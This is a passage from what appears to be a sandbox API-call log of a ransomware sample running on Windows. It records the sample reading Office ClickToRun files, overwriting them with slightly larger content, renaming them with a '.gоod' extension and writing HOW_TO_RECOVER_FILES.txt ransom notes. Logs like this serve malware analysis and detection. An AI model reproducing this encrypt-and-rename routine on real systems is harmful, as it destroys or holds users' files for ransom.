lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0xd77c4 [0077.712] WriteFile (in: hFile=0x790, lpBuffer=0x31b3fb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x31b3fb0*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0077.713] CloseHandle (hObject=0x790) returned 1 [0077.736] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0077.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.736] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.736] GetFileType (hFile=0x790) returned 0x1 [0077.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.736] GetFileType (hFile=0x790) returned 0x1 [0077.736] ReadFile (in: hFile=0x790, lpBuffer=0x31b63e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x31b63e0*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0077.802] CloseHandle (hObject=0x790) returned 1 [0077.802] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0077.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.803] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.803] GetFileType (hFile=0x790) returned 0x1 [0077.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.803] GetFileType (hFile=0x790) returned 0x1 [0077.803] WriteFile (in: hFile=0x790, lpBuffer=0x31b50d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x31b50d8*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0077.803] CloseHandle (hObject=0x790) returned 1 [0077.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0077.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.gоod", lpFilePart=0x0) returned 0x6f [0077.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0077.817] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a98781f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd77d4)) returned 1 [0077.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0077.817] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat.gоod")) returned 1 [0077.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0077.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0077.818] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x790 [0077.818] GetFileType (hFile=0x790) returned 0x1 [0077.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0077.818] GetFileType (hFile=0x790) returned 0x1 [0077.819] WriteFile (in: hFile=0x790, lpBuffer=0x3234f20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3234f20*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0077.819] CloseHandle (hObject=0x790) returned 1 [0077.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0077.820] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16", lpFilePart=0x0) returned 0x52 [0077.820] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0077.822] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.822] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd54fbe00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0077.822] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0077.822] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.822] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0077.823] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0077.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0077.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0077.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0077.823] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16", lpFilePart=0x0) returned 0x52 [0077.823] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0077.824] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.825] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd54fbe00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0077.825] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0077.825] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.825] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0077.825] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0077.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0077.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0077.826] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0077.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0077.826] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3245210 | out: lpFileInformation=0x3245210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd54fbe00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x5211)) returned 1 [0077.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0077.827] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0077.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.827] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.827] GetFileType (hFile=0x790) returned 0x1 [0077.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.827] GetFileType (hFile=0x790) returned 0x1 [0077.827] SetFilePointer (in: hFile=0x790, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0077.827] ReadFile (in: hFile=0x790, lpBuffer=0x32456f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x32456f8*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0077.829] CloseHandle (hObject=0x790) returned 1 [0077.829] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0077.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.829] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.829] GetFileType (hFile=0x790) returned 0x1 [0077.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.829] GetFileType (hFile=0x790) returned 0x1 [0077.829] SetFilePointer (in: hFile=0x790, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x5211 [0077.829] WriteFile (in: hFile=0x790, lpBuffer=0x3246a78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x3246a78*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0077.830] CloseHandle (hObject=0x790) returned 1 [0077.831] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0077.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.832] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.832] GetFileType (hFile=0x790) returned 0x1 [0077.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.832] GetFileType (hFile=0x790) returned 0x1 [0077.832] ReadFile (in: hFile=0x790, lpBuffer=0x3248e40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x3248e40*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0078.075] CloseHandle (hObject=0x790) returned 1 [0078.075] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0078.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0078.075] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0078.075] GetFileType (hFile=0x790) returned 0x1 [0078.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0078.075] GetFileType (hFile=0x790) returned 0x1 [0078.075] WriteFile (in: hFile=0x790, lpBuffer=0x312f510*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x312f510*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0078.076] CloseHandle (hObject=0x790) returned 1 [0078.076] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0078.076] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.gоod", lpFilePart=0x0) returned 0x73 [0078.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0078.076] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2ac0e173, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5221)) returned 1 [0078.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0078.076] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml.gоod")) returned 1 [0078.077] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0078.077] SetThreadErrorMode 